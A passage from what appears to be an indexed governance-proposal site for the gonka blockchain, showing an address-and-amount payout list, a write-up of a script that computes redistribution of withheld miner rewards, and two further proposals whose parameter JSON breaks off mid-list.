\"ngonka\",\n \"amount\": \"728601300\"\n }\n ]\n },\n {\n \"address\": \"gonka1w0tchrxx49gfc0n8jua94pav7tw0l5hrhuzywl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"719208754\"\n }\n ]\n },\n {\n \"address\": \"gonka1qre9aepalndahwj37xrcepndmut2vu9dr3kh4t\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"703040454\"\n }\n ]\n },\n {\n \"address\": \"gonka1rxgvr9yg6xk3l2dak8glg0ld587q2wzzslvrl3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"699277690\"\n }\n ]\n },\n {\n \"address\": \"gonka1t9yhhn62sx36kg89h7js2ts507s46mqd40pe4s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"699277690\"\n }\n ]\n },\n {\n \"address\": \"gonka1z0lnxp7el2gxcqm37ckg8dfuac4rkuzf54wpa3\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"699277690\"\n }\n ]\n },\n {\n \"address\": \"gonka1dpee7kv4dwlmu9nr3skv488lxuhwsy3x70h0uq\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"692810573\"\n }\n ]\n },\n {\n \"address\": \"gonka1rq3skz3zfawkh7qsnjyzy9r3wf0xq8at096wy7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"648016885\"\n }\n ]\n },\n {\n \"address\": \"gonka1at7qj6ynelhp9kc3mgkw94m8j6jhrfh8wxse4n\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"644755098\"\n }\n ]\n },\n {\n \"address\": \"gonka1q8a7k5dl82znt5xwe7f63523gxd8h027epdg54\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586647280\"\n }\n ]\n },\n {\n \"address\": \"gonka12yxxjv4n3al94jgythp4jqyas8een5pu6xr2nr\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1cfmrgwmxv9dh5knq2p4fehqpnudr4xm72gnpkm\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1mf3w6hjc3y56tk85zqqgj25rxmp6wuv0vr74d7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1psznjawqr5m4dashm90wp46aq047twrxeel6qe\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1v5e25pcuvnv7q8vd2uwhvkkhskfs5laaxx3g8s\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1wttl0ghw929832auepgvq3gqrpfatcnfrzvqw2\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1y4rhy7fd7hlkrntctmxyehjkq8rrzp27nenk9v\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1yrqlpjnpqv9d626vl8s29vk383x74s0k5tdtd0\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"586612174\"\n }\n ]\n },\n {\n \"address\": \"gonka1yr7r80d483ukqeq3xkx6ymgqm6r22n5wdv8atj\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"585881308\"\n }\n ]\n },\n {\n \"address\": \"gonka1c2vpftj3n7679qp3k57yrtlhwp4qaay7ege9u8\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"560510475\"\n }\n ]\n },\n {\n \"address\": \"gonka1dmrm7jd0lrrgj346sz4kajdq9c3ves860c7hhy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"560510475\"\n }\n ]\n },\n {\n \"address\": \"gonka1l0e82j7tr3urs3ekrdqluchv47e0n4y0e5ulgg\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"560510475\"\n }\n ]\n },\n {\n \"address\": \"gonka16jrtxjqd8dznacsrtjpkf5mx0knja2xvwrgndp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"559789055\"\n }\n ]\n },\n {\n \"address\": \"gonka149ln5ehu48p00qalzafv7y3rkp6p7rmv8h3g8n\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552021686\"\n }\n ]\n },\n {\n \"address\": \"gonka1z3z2lyte45juefxfmsvhnqny7wfg9npmp8gm03\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552021686\"\n }\n ]\n },\n {\n \"address\": \"gonka1z7jrc6dvktlr6fccaj37jm4ncgj29jqrp5jvu7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"552021686\"\n }\n ]\n },\n {\n \"address\": \"gonka1t9pfwfag57kxmf3kyt088la4d8f892v24jvsf5\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"541507759\"\n }\n ]\n },\n {\n \"address\": \"gonka17y2whumwxn6gmpwppg6q25947h82ev78w0kgup\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"535616589\"\n }\n ]\n },\n {\n \"address\": \"gonka1xq4ngnc3zdsdl3rvtu7ytnkndpakzqu4dx0v7v\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"524592936\"\n }\n ]\n },\n {\n \"address\": \"gonka1dk535rvfyvd8f46h56rtz46z22a6hmvjmyryha\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"523497524\"\n }\n ]\n },\n {\n \"address\": \"gonka1ey9dfu98ngcjpg3lkmwc69xdsp2d9eaknyyl28\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"517494112\"\n }\n ]\n },\n {\n \"address\": \"gonka16spupg33ck73rk4d82h8fusxkh823r62dshg0p\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"485580854\"\n }\n ]\n },\n {\n \"address\": \"gonka1zj97wuqysdd0snt07z9204hlnf7phc4v9dnl5f\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"473074333\"\n }\n ]\n },\n {\n \"address\": \"gonka1y3dmsztt4wewmg2fl7w6t42tcwwa2g0wsy5csl\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"441617349\"\n }\n ]\n },\n {\n \"address\": \"gonka1n52k98esfltn4q783kuwg0amjn6cmuf94mwqep\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440790436\"\n }\n ]\n },\n {\n \"address\": \"gonka1q6gwd6gf6pke29257lwfsxds3nlq06882tc6zn\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440790436\"\n }\n ]\n },\n {\n \"address\": \"gonka1qq6cpau55hgse9yvwrup7fz38tvzc604jszfjy\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440790436\"\n }\n ]\n },\n {\n \"address\": \"gonka1uq2fykmv82rdx3qk4lua6hpak9u327swgdgepk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440790436\"\n }\n ]\n },\n {\n \"address\": \"gonka1x9nx86r5sx4awdmpadd2nmhlrnmezlxxe8ncps\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"440790436\"\n }\n ]\n },\n {\n \"address\": \"gonka14wmt933kjf2hlred8330gw28qjpt24j9p8muzp\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"385759538\"\n }\n ]\n },\n {\n \"address\": \"gonka1htfcs20dtdrywddza7mhv9hjr7naj3juyv8474\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"381624153\"\n }\n ]\n },\n {\n \"address\": \"gonka13ejhmp3g53r7csgautav95km9rjycxzy99a058\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"366760323\"\n }\n ]\n },\n {\n \"address\": \"gonka1y38q7euwkznfc28agxlugtmn9f5xgufkt8ts7m\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"366760323\"\n }\n ]\n },\n {\n \"address\": \"gonka14lhckrwqkxxw5w454yvcn7qv63vyn79rkcakg7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"359592198\"\n }\n ]\n },\n {\n \"address\": \"gonka1qty48qty43a3jm6jlq5t4aktz3yzs380uxxg2m\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"287541589\"\n }\n ]\n },\n {\n \"address\": \"gonka18frq9ltz0m7u7aw7fkmwhqh89ut3w2e434nxjx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"266551491\"\n }\n ]\n },\n {\n \"address\": \"gonka1fthllm8hzk69qkz3dhhyarj029z52yclrlj5va\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"255137616\"\n }\n ]\n },\n {\n \"address\": \"gonka1p4epndztqtsdu0cemsvm3kae70ec6nr7snfcms\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"251078150\"\n }\n ]\n },\n {\n \"address\": \"gonka1zdmwgnl9ycmctdehe5cqv5wpepty62lcms8alx\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"249741938\"\n }\n ]\n },\n {\n \"address\": \"gonka15nafqu6uglskzqkfgvh0mue7gats9dded3nctk\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"199164662\"\n }\n ]\n },\n {\n \"address\": \"gonka1hn9wmlfe7nha0x26p7nsqvk9g8pnwml74hrm8n\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"189322890\"\n }\n ]\n },\n {\n \"address\": \"gonka1wus9fvrxvx6sls623tme6rfgznu0l2myxm0k7z\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"186513559\"\n }\n ]\n },\n {\n \"address\": \"gonka18xk4m8t0zj9vpse5c2dem8uxhqw0egtjuafy77\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"180102359\"\n }\n ]\n },\n {\n \"address\": \"gonka1vs26xk4zvv6dv56j8r9ns7wzk6s00p8etk7wu7\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131853118\"\n }\n ]\n },\n {\n \"address\": \"gonka1vz2ygndntgjw2nyrqgehd4sayw64pz26tvw7qt\",\n \"coins\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"102378278\"\n }\n ]\n }\n ]\n }\n]\nThis directory contains a reference computation for redistributing the withheld-reward balance accumulated in the gov module account back to the miners who participated in epochs 132..247.
The output is a single CSV that maps each historical participant to the exact amount of ngonka they should receive. The numbers are deterministic and verifiable against the on-chain state of any gonka full node.
gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33).Two upgrades changed the lifecycle of unpaid rewards on chain. Together they moved miner-earned coins that were not paid out for performance reasons from the participant set into a single pool — the gov module account. This proposal addresses what should happen to that pool now that it has grown substantial.
"}, {"location": "proposals/proposals/2026-q2/46/full-proposal/#upgrade-v029-withheld-rewards-routed-to-gov", "title": "Upgrade v0.2.9 — Withheld rewards routed to gov", "text": "Before v0.2.9, when a participant was penalized during cPoC validation (e.g. for missed validations or invalid inferences), the unpaid portion of their epoch reward was redistributed among the remaining participants in the same epoch. v0.2.9 changed this: the unaccounted portion is now transferred to the gov module account instead.
From the v0.2.9 release notes (proposal #26, passed 2026-02-01, executed at block 2 451 000):
Reward flow correction for cPoC cases. In cases where rewards are reduced or excluded due to cPoC penalties, the unaccounted portion is transferred to the Community pool. Previously, such rewards were redistributed among other participants.
Although the announcement says \"Community pool\", on chain the destination is the gov module account (auth/gov), not the community pool managed by auth/distribution. That distinction is not cosmetic — see the section \"Why these are miner funds, not community funds\" below.
v0.2.11 (proposal #31, passed 2026-03-20) extended the same policy to slashed collateral. PR #775 replaced BurnCoins(...) with SendCoinsFromModuleToModule(..., govtypes.ModuleName, ...), making the rule consistent across all forms of forfeited miner funds.
The motivation is captured in the issue #772 that PR #775 closed:
Slashed coins must be transferred to the Governance module account, consistent with how we handle rewards that are withheld from miners during penalties. Implementation should reuse or mirror the existing logic that handles redistribution of miner rewards that are not paid out due to penalties.
"}, {"location": "proposals/proposals/2026-q2/46/full-proposal/#earliest-evidence-of-the-mechanism", "title": "Earliest evidence of the mechanism", "text": "The earliest observed inference → gov transfer is at block 2 058 543 (epoch 132, 2026-01-08), so for redistribution purposes epoch 132 is the practical start. Epochs 1..131 show zero gov inflow.
A common misconception is that the gov module balance is \"community money\" and can be spent on grants, marketing, ecosystem initiatives, etc. It is not.
gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa, the auth/distribution module). It is funded by an explicit fraction of inflation and is designed to be spent through MsgCommunityPoolSpend. At time of writing it holds approximately 102 972 832 GNK + 10 000 IBC USDT, more than enough capital for community initiatives.The withheld coins entered the gov account specifically because the mechanic that previously redistributed them inside the epoch was disabled. At the time of the v0.2.9 change there was no follow-up rule defined for how those funds should ultimately be returned. This proposal is that rule.
These coins were never minted as community subsidy — they were minted as miner reward. The participants who did perform their epoch duties were the ones who would have received those coins under the pre-v0.2.9 rule. Returning the balance to them by their proportional share of actually-paid rewards is the most direct restoration of the pre-v0.2.9 economic outcome, modulo the original intent of the v0.2.9 change (no longer giving an extra bonus to in-epoch peers).
"}, {"location": "proposals/proposals/2026-q2/46/full-proposal/#prior-art-proposals-32-and-33", "title": "Prior Art — Proposals #32 and #33", "text": "Two narrow predecessors already used the gov balance to compensate miners who had documented losses:
MsgBatchTransferWithVesting.Both proposals confirm two things relevant to the present design:
The script does not subtract the #32/#33 amounts from any specific recipient's share. Some addresses in those proposals will receive a small additional amount under this distribution — at the order of 1.7% of the total wallet balance (~55 000 GNK out of 3 156 941 GNK), which is well below the typical per-epoch noise.
"}, {"location": "proposals/proposals/2026-q2/46/full-proposal/#algorithm", "title": "Algorithm", "text": "The computation is a deterministic 7-step pipeline implemented in taxreturn.py. Inputs come exclusively from a gonka full node via standard Cosmos REST and Tendermint RPC endpoints; no off-chain data is used.
Read /cosmos/auth/v1beta1/module_accounts and look up the addresses of the gov and inference modules. No chain-specific addresses are hardcoded; the script will work on any gonka network (mainnet, testnet, devnet) that exposes these standard module accounts.
inference → gov happened", "text": "Tendermint RPC block_search indexes both transfer.sender and transfer.recipient event keys. Combining them with an AND query returns exactly the blocks where the inference module sent coins into the gov account, and excludes proposal deposits, refunds, slashed-collateral transfers, etc.
block_search?query=\"transfer.sender='<inference>' AND transfer.recipient='<gov>'\"\nThis yields ~116 blocks for the entire history covered by the proposal — a 5× reduction relative to a naïve recipient='<gov>' query, with no loss of relevant data.
For each block from step 2, fetch block_results?height=H and sum every transfer event whose sender is the inference module and whose recipient is the gov module. This works because block_results returns events as plain JSON; it does not decode tx bodies, so the post-v0.2.12 REST tx-decoding bug (errUnknownField \"*types.TokenomicsParams\") does not affect this path.
End-block events (the actual payout mechanism) are not transactions and therefore are invisible to tx_search and to the Cosmos REST tx endpoints. block_results is the canonical source for them.
For every epoch in [132..247], fetch /inference/inference/epoch_group_data/{n} to obtain:
effective_block_height and last_block_height — the real block range the epoch occupies. Epoch length is governance-controlled and has changed over the chain's history, so derived formulas are unsafe; the on-chain values are the ground truth.validation_weights[*].member_address — the participant set for the epoch.For every (epoch, participant) pair, fetch /inference/inference/epoch_performance_summary/{epoch}/{addr} and read rewarded_coins. This field is the canonical \"how much the participant actually received from this epoch's reward pool\" and matches the vest_reward.amount event attribute observed in on-chain MsgClaimRewards transactions (verified empirically; spot-checked on top recipients).
Each inflow block height is mapped to its epoch using the boundary table from step 4 (eff ≤ h ≤ last). The per-epoch inflow is the sum of ngonka observed in step 3 for that epoch's blocks.
Result: a vector inflow[epoch] → ngonka covering epochs 132..247.
The total amount to distribute is
T = sum(inflow[epoch]) for epoch in 132..247\nThis is the historical inflow, not the current wallet balance. The current balance contains residual amounts from epochs the proposal does not address (in particular, withheld coins from epochs >247 that have arrived since the snapshot, plus a few small pre-132 entries). Choosing T = total in-range inflow ensures that participants of epochs 132..247 receive exactly the funds that originated from those epochs — no more, no less.
Apportionment is performed in two nested levels using Hamilton's largest-remainder method in pure integer ngonka arithmetic:
T across epochs in proportion to inflow[epoch]. The sum of per-epoch budgets equals T exactly.rewarded_coins. Participants with zero rewarded_coins (those who were penalized in that epoch and whose share was withheld) receive nothing from that epoch's budget — they are exactly the participants for whom the funds were withheld in the first place.Both steps use the same Hamilton procedure: compute floor shares, then distribute the leftover (target minus sum of floors) one ngonka at a time to the shares with the largest fractional remainders. This produces an integer allocation whose total equals the target exactly, with no rounding error and no privileged participant.
The final per-recipient amount is the sum of their per-epoch shares across epochs 132..247.
"}, {"location": "proposals/proposals/2026-q2/46/full-proposal/#output", "title": "Output", "text": "A single CSV (payouts.csv by default):
recipient,ngonka,gnk\ngonka1...,257001064815774,257001.064815774\ngonka1...,255743613433661,255743.613433661\n...\nSorted by descending amount. The sum of the ngonka column equals T exactly.
pip install -r requirements.txt\npython3 taxreturn.py {NODE IP} --out payouts.csv\nThe script accepts either a hostname/IP (default port 8000) or a full URL. A SQLite cache is created in cache_<NODE>/ so subsequent runs are incremental — re-running takes seconds rather than minutes.
START_EPOCH and LAST_EPOCH are intentionally hardcoded so that the output is reproducible across runs and across nodes, regardless of how much further the chain has progressed. To extend the range to later epochs, those constants can be updated and the script rerun; the cache will pick up only the new epochs.
taxreturn.py — end-to-end computation script.requirements.txt — single dependency (aiohttp).cache_<NODE_IP>/cache.db — SQLite cache (block_results, epoch metadata, per-participant rewards). Safe to delete; it will be rebuilt on the next run.payouts.csv — output (generated).gov, inference) match the addresses your wallet shows.block_search total returned by the script matches the count visible from any other node.total_inflow printed by the script equals the sum of the ngonka column in the output CSV.total_inflow + outflows_already_paid_to_miners is consistent with the current gov module balance (the difference accounts for inflows from epochs outside [132..247]).rewarded_coins from epoch_performance_summary for any epoch matches the reward reflected in their vest_reward events on chain.Rejected
Proposal ID: 47
Type: Community Pool Spend
Submit: 2026-05-04 11:43 UTC
Voting: 2026-05-04 11:43 UTC → 2026-05-06 11:43 UTC
Proposer: gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3
Metadata: https://vote.gonka.vip/tenders/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93
Failed reason: proposal did not get enough votes to pass
20,000 GNK · Community PoolView on gonka.gg
Retroactive 20K GNK bounty for an open-sourced PoC optimization measuring +10.2% on B200 and +12.5% on H100 with Qwen3-235B-FP8. One-line patch, verified on-chain by independent miners. Details: https://vote.gonka.vip/tenders/6392c2ea-7fb8-45c7-b1ec-80fb16d81d93
"}, {"location": "proposals/proposals/2026-q2/47/#final-tally", "title": "Final Tally", "text": "Yes 70,819 (33.6%) No 0 (0.0%) Veto 0 (0.0%) Abstain 139,828 (66.4%) Total 210,647 votes"}, {"location": "proposals/proposals/2026-q2/47/#messages", "title": "Messages", "text": "# Type 1/cosmos.distribution.v1beta1.MsgCommunityPoolSpend Contract Details [\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka14fxt7xlj74h54u5lz8epz0qeuhpka6xjhzsyq3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"20000000000000\"\n }\n ]\n }\n]\nPassed
Proposal ID: 48
Type: Update Params
Submit: 2026-05-05 07:00 UTC
Voting: 2026-05-05 07:00 UTC → 2026-05-05 19:00 UTC
Expedited: Yes
Proposer: gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le
View on gonka.gg
During the Kimi-K2.6 bootstrap, the 30% direct participation threshold proved hard to meet. To avoid the risk of Kimi-K2.6 becoming ineligible in a future epoch and to simplify onboarding of further models, this proposal lowers the threshold to 10%. The security model is preserved: PoC validation itself is unchanged and still requires a supermajority of validation power to accept results. It is expedited so the change takes effect before the next PoC.
"}, {"location": "proposals/proposals/2026-q2/48/#final-tally", "title": "Final Tally", "text": "Yes 808,529 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 808,529 votes"}, {"location": "proposals/proposals/2026-q2/48/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"35\",\n \"poc_exchange_duration\": \"0\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"240\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"2\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"500\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"processed_logprobs\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": null,\n \"model_params\": null,\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": true,\n \"confirmation_poc_v2_enabled\": true,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": true,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [\n {\n \"model_id\": \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"3593\",\n \"exponent\": -4\n },\n \"penalty_start_epoch\": \"0\"\n },\n {\n \"model_id\": \"moonshotai/Kimi-K2.6\",\n \"seq_len\": \"1024\",\n \"stat_test\": {\n \"dist_threshold\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"p_mismatch\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"p_value_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n }\n },\n \"weight_scale_factor\": {\n \"value\": \"12620856201975851\",\n \"exponent\": -16\n },\n \"penalty_start_epoch\": \"251\"\n }\n ],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": {\n \"network_maturity_threshold\": \"15000000\",\n \"network_maturity_min_height\": \"3000000\",\n \"guardian_addresses\": [\n \"gonkavaloper1y2a9p56kv044327uycmqdexl7zs82fs5lyang5\",\n \"gonkavaloper1dkl4mah5erqggvhqkpc8j3qs5tyuetgdc59d0v\",\n \"gonkavaloper1kx9mca3xm8u8ypzfuhmxey66u0ufxhs70mtf0e\"\n ]\n },\n \"developer_access_params\": {\n \"until_block_height\": \"2459367\",\n \"allowed_developer_addresses\": [\n \"gonka10fynmy2npvdvew0vj2288gz8ljfvmjs35lat8n\",\n \"gonka1v8gk5z7gcv72447yfcd2y8g78qk05yc4f3nk4w\",\n \"gonka1gndhek2h2y5849wf6tmw6gnw9qn4vysgljed0u\",\n \"gonka1z66ec2zedwpapp6jrj9raxgl93e5ec9z5my52h\",\n \"gonka1jw6xg0wun3g8m2fjm8lula82dw5p6jl8yp28mn\",\n \"gonka15sjedpgseutpnrjx2ge3mgau3s8ft5qzym9waa\",\n \"gonka1l4a2wtls9rgd2mnnj6mheml5xlq3kknngj4p7h\",\n \"gonka1f3yg5385n3f9pdw2g3dcjcnfqyej67hcu9vfet\",\n \"gonka15g5pu70k7l6hvdt8xl80h4mxe332762csupaeg\",\n \"gonka1uyqp5z3dveamfw4pmw7p7rfvwdvgzewnqrzhsu\",\n \"gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d\",\n \"gonka1x7zh2277spp7jfqjhv0g5mnezg290xdr4kpfnk\",\n \"gonka1ddswmmmn38esxegjf6qw36mt4aqyw6etvysy5x\",\n \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"gonka1y2a9p56kv044327uycmqdexl7zs82fs5ryv5le\",\n \"gonka1p0uanq0aay6n3l4gtnshg63cy6vx3zgvkyc5lc\",\n \"gonka1khca2ht3m0nvpfghrxwgvnmj74t0sx6qzc2edd\"\n ]\n },\n \"participant_access_params\": {\n \"new_participant_registration_start_height\": \"2475000\",\n \"blocked_participant_addresses\": 